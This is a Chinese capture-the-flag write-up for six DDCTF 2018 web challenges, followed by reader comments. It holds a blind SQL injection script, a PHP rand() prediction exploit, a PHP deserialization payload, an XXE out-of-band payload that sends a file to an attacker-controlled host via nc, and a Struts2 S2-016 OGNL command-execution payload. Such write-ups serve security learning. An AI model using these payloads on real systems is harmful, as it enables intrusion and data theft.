DDCTF 2018 Web Writeup

web1 数据库的秘密

看题目猜是注入,访问题目发现只允许 123.232.23.245 IP访问。没啥好说的,直接改HTTP 的HEADERS,加个X-Forwarded-For: 123.232.23.245。发现可以正常访问了,并且注意到有个hidden的input,参数名为author,是本题的注入点。
为了测试payload方便,使用 burp 来修改数据。
proxy->options->match and replace
useragent替换成X-Forwarded-For: 123.232.23.245
hidden 替换成 text,将intercept勾上off
这样就可以在浏览器上直接测试:

稍微fuzz下,过滤了union ,只能使用and来盲注。同时提交请求还会带上一个time和sig。这两个参数是在js计算出来的。思路很明确,有个盲注,需要计算sig,和time。直接使用python调用js来计算,就比较方便。或者使用webdriver来做。我选择execjs来调用js脚本。

#!/bin/usr/env python
#coding: utf-8

import sys
import requests
import time
import execjs


guess =  "DCTFQWERYUIOPASGHJKLZXVBN{}[email protected]"
payload1 = "select schema_name from information_schema.SCHEMATA limit {database_offset},1"
payload2 = "test' && if(ascii(substr(({query}),{str_offset},1)) like {str_value},1,0)#"
payload3 = " select table_name from information_schema.tables where table_schema=0x6464637466 limit {table_offset},1"
payload4 = "select column_name from information_schema.columns where table_name=0x6374665f6b657932 limit {columns_offset},1"
payload5 = "select secvalue from ctf_key2 limit {row_offset},1"
key ="adrefkfweodfsdpiru"
source = open('/root/Desktop/web1.js').read()
context = execjs.compile(source)
headers ={
         "X-Forwarded-For": "123.232.23.245",
         "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
         }
result = []
def leakdata(i,payload):
    data = ''
    for j in range(1,40):
        sys.stdout.flush()
        index = 0
        while index <= range(1, len(guess) + 1):
            k = guess[index]
            sys.stdout.writelines(data + ":" + str(j) + ":" + k + "\n")
            obj = context.eval("obj")
            sqlstr = payload2.format(query=payload.format(row_offset=i), str_offset=j, str_value=ord(k))
            obj['author'] = sqlstr
            sys.stdout.writelines("Payload:" + sqlstr + "\n")
            time_now = int(time.time())
            get_str = context.call("submitt", sqlstr)
            url = "http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/" + get_str
            sys.stdout.writelines("POST At:" + url + "\n")
            r = requests.post(url, data=obj, headers=headers)
            # print r.text
            if 'time error' in r.text:
                print "time error,retry:", j, k
                index -= 1
            if 'sig error' in r.text:
                print "sig error,retry:", j, k
                index -= 1
            if 'test' in r.text:
                print "OK", str(j), ":", k
                data += k
                break
            if k =='M' and 'test' not in r.text:
                return
            index += 1
        print data
        result.append(data)
    print result
#r = s.get("http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/index.php",headers=headers)
#print r.text
leakdata(0,payload5)

Web2 专属链接

查看首页HTML源代码,发现一个奇怪的链接

抓包ico文件,其中内容为you can only download .class .xml .ico .ks files,将链接后面的base64解码得到favicon.ico,尝试读取配置文件web.xml,一步步测试最后确定在../../WEB-INF/web.xml

首页注释中还有一处提示/flag/testflag/yourflag,访问/flag/testflag/DDCTF{aaa}页面报错得到FlagController路径

我们需要通过读取java编译的.class来获取文件内容,接下来下载../../WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class,通过jd-gui查看.class文件

getflag请求限制了0-9a-zA-Z,而我们在首页获取到的邮箱并不符合。这里暂时没思路,继续读其他文件。

在读到../../WEB-INF/applicationContext.xml的时候,其中包含了一处Listener

读取../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class,我这里直接放主要代码

代码大概意思就是获取emails.txt中的邮箱地址,然后随机生成flag并插入到数据库中。要注意的是email跟flag是进行了加密的,且两个加密方式都不一样。

emails.txt是无法读取到的,新建个文本写入首页的个人邮箱就可以了,将keystore文件sdl.ks下载下来,修改一下java代码的路径,本地运行获取到加密的email地址

拿到加密的email,POST请求/flag/getflag/D3291F5CB317AB0F82E275638732924121736458613C7C4024F5C54E9C07FF88,拿到加密的flag

在解密flag这里困了挺久的,flag是使用keystore的私钥加密的,所以使用公钥解密。(同理,公钥加密的使用私钥解密)

flag.txt写入加密的flag,运行拿到正确flag

Web3 注入的奥妙

在注释中的文章讲的是big5编码,所以我猜测是big5宽字节注入,在编码表中挑了一个5C(即反斜杠\)结尾的字符 "么"

尝试注入

宽字节注入确实存在,直接上工具跑,其中过滤了union,使用uniunionon替换绕过。获取路由表

访问/static/bootstrap/css/backup.css解压拿到备份文件。直接看Controller,Juesttry.php存在反序列化漏洞

在Test.php中执行getflag输出flag,我们构造反序列化链来进行获取flag。

获得O:4:"Test":2:{s:9:"user_uuid";s:36:"8e9664f4-9586-4419-8fdc-d13285696a3d";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}},但并不符合allowed_classes允许的类,所以我们修改一下

O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"8e9664f4-9586-4419-8fdc-d13285696a3d";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

记得类名长度也要修改。最后反序列化获得flag

web4 mini blockchain

题目给出了源码,可以看到在创建新块时,难度比较小(0越少难度越小)。并且维持区块链正常工作的矿机全部宕机,所以我们只要能够挖矿的话,算力是达到100%的。换句话说我们能够完全控制区块链的增长方向。

在现实中因为我们没有这么强大的算力,黑客转账之后会有其他矿机挖出新的块不断的增长原链的长度,这样理论上不掌握51%的算力很难做到。(其实不到51%也可能做到,只是概率低)掌握了51%的算力意味着我们挖矿比任何人都快,他们在原来正确的链上增长速度没有我们伪造的快(当然,块的hash也要合法),到某一刻时,原链会被丢弃,反而承认我们伪造的块的正统地位。

不过这种攻击难以出现在现实情况,因为第一,黑客挖伪链期间没有任何收入,除非完成攻击。第二,黑客难以掌握51%以上的算力。第三,出现这种攻击成功后,必将导致区块链价格大跌,可能更赔钱。

所以这道题的解法就是添加空块使之分叉,调用后门。

如上表所示:实施两次51%攻击可以获得两个钻石。
参考知乎专栏:从零开始构建一个区块链(一): 区块链(分享自知乎网)https://zhuanlan.zhihu.com/p/29875875?utm_source=qq&utm_medium=social 写个挖矿脚本:

#!/bin/usr/env python
#coding:utf-8

import hashlib

EMPTY_HASH='0'*64
difficulty=int('00000' + 'f' * 59, 16)
block = {'prev':'4746ae2518acd0b9363e4b3a7d49e9f59b4496df6eed589646e23339acb4f334','transactions':[],'nonce':'0','hash':'4746ae2518acd0b9363e4b3a7d49e9f59b4496df6eed589646e23339acb4f334'} #这里的prev是银行拥有100000时的区块的hash。每次挖矿添加新块都要改成上一块的hash
def mineBlock(block,difficulty=difficulty):
    while int(block['hash'], 16) > difficulty:
        block['nonce']=str(int(block['nonce'])+1)
        block['hash'] = hash_block(block)
    return block

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'],
                                 reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
    return hash(hash(x) + hash(y))
print mineBlock(block)


接下来就是比较繁琐的的添加新块了,按照刚给的表格构造假块,就能拿到flag了。注意要在一个session下操作,使用requests库时添加一个header:Content-Type: application/json

Web5 我的博客

下载源码,页面写的非常简单,通过预测$admin的值注册成管理员权限,在index.php中sprintf注入获取flag。

这里我们要预测的是str_shuffle生成的值,看一下str_shuffle的php源码

str_shuffle是通过获取rand()值计算键值进行字符串置换,打乱字符串。所以我们只要能预测rand()值,就能计算出str_shuffle生成的值

参考链接:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其中提到的公式:

state[i] = state[i-3] + state[i-31]

也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。

所以我们需要生成至少32个随机数,就可以预测后面的随机数了。这里我们要用到Keep-Alive来获取随机数,只要TCP连接不断那么这个随机数生成就是连续的。

csrf值就是rand()的结果,所以我们获取32次注册页面中的csrf值,就能预测出rand()的结果

成功预测rand值,过程中碰到一个坑,按照公式生成的值会越来越大,导致有偏差,实际上是要对结果进行2147483647取余才是rand的值

接着需要将php源代码中的str_shuffle算法移植成python代码,并估计猜测的rand值生成str_shuffle字符串。最终利用代码如下:

#coding:utf-8
import requests
import re


def RAND_RANGE(__n, __min, __max,__tmax):
    return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))

def shuffle(dstr,relist):
    strlen = len(dstr)
    dstr = bytearray(dstr)
    if strlen<=1:
        return
    n_left = strlen
    i=0
    while --n_left:

        n_left -=1
        rnd_idx=relist[33+i]
        i+=1

        rnd_idx=int(RAND_RANGE(rnd_idx,0,n_left,2147483647))
        
        if (rnd_idx!=n_left):
            temp = dstr[n_left]
            dstr[n_left] = dstr[rnd_idx]
            dstr[rnd_idx]=temp
        
    return dstr

def guess():
    s=requests.session()
    target='http://116.85.39.110:5032/be4c9b0ef056ee0276256c70bf4126c9/'
    pattern = '<input type="hidden" name="csrf" id="csrf" value="([0-9]*)" required>'

    relist= []
    for i in range(32):#0-31
        res = s.get(target+'register.php')
        relist.append(int(re.search(pattern,res.text).group(1)))
    print "访问32次!"
    # 预测rand值
    for i in range(32,120):
        relist.append((relist[i-3]+relist[i-31]) % 2147483647)
    
    print "预测第33个",relist[32]
    res =s.get(target+'register.php')
    print "第33个rand值:",re.search(pattern,res.text).group(1)
    csrf = re.search(pattern,res.text).group(1)
    print "当前csrf:",csrf

    base='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    xstr = shuffle(base,relist)
    calc_code = str("admin###"+xstr[0:32])
    print calc_code
    post_data ={
        'csrf':csrf,
        'username':'wfox9',
        'password':'qwe123',
        'code':calc_code
    }
    res =s.post(target+'/register.php',data=post_data)
    print res.text


guess()

成功注册一个admin权限的用户

登陆之后在title处进行sprintf注入,参考文章https://paper.seebug.org/386/

可以获取数据,直接丢sqlmap拿到flag

Web6 喝杯Java冷静下

查看注释拿到账号密码admin: admin_password_2333_caicaikan

登陆后台之后,查看详情的链接可以读取文件,尝试读取WEB-INF/web.xml

为了更方便的读取网站文件,找到了github中的原源码https://github.com/Eliteams/quick4j

读取WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class,查看被修改过的片段

/nicaicaikan_url_23333_secret存在XXE漏洞,不过只能super_admin角色才能访问,所以我们找一下super_admin角色的用户。

在读到WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class发现了超级管理员superadmin_hahaha_2333

password.hashCode() == 0的时候,就能成功登陆,所以要找个hash为0的字符串。通过谷歌找到了f5a5a608的hash值为0。账号superadmin_hahaha_2333密码f5a5a608成功登陆超级管理员后台

构造xxe的payload,由于没有回显,可以利用xxe oob获取回显内容

<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///flag/hint.txt">  
<!ENTITY % remote SYSTEM "http://yourip/evil.xml">  
%remote;  
 %all;  
%send;  
]> 

evil.xml

<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourip:2345/%file;'>">
%int;
%send;

使用nc监听vps的2345端口nc -lvvp 2345,读取/flag/hint.txt

拿到hint.txt内容,提示需要探测内网8080端口的tomcat_2服务。这里我还去试了爆破ip段....结果站点线程全部阻塞把赛题弄崩了半个小时....最后脑洞猜到http://tomcat_2:8080/,真的是骚...

访问hello.action

提示当前是Struts2站点,读取/flag/flag.txt获取flag。根据题目提示:第二层关卡应用版本号为2.3.1,我们找一下Struts 2.3.1版本的漏洞

就决定是s2-016吧,在网上找到的payload丢过去,这里我url解码粘出来

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\A'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

do not do evil things~ just try to read /flag/flag.txt~,网上的payload都是执行系统命令的,那我把他改成读取文件的payload

redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#s=new java.io.File('/flag/flag.txt'),#q=new java.io.FileInputStream(#s),#w=new java.io.InputStreamReader(#q),#e=new java.io.BufferedReader(#w),#r=#e.readLine(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#r),#matt.getWriter().flush(),#matt.getWriter().close()}

最后成功读取到/flag/flag.txt

标签: ddctf, web, writeup
返回文章列表 文章二维码
本页链接的二维码
打赏二维码
评论列表
  1. 表哥你的注入使用的是什么工具啊

    1. 超级SQL注入工具

  2. sec sec

    表哥贴下你的web1.js

    1. 目前赛题还没关,你还可以打开做做

  3. zhang293 zhang293

    关键字选什么啊?超级SQL跑不出来

添加新评论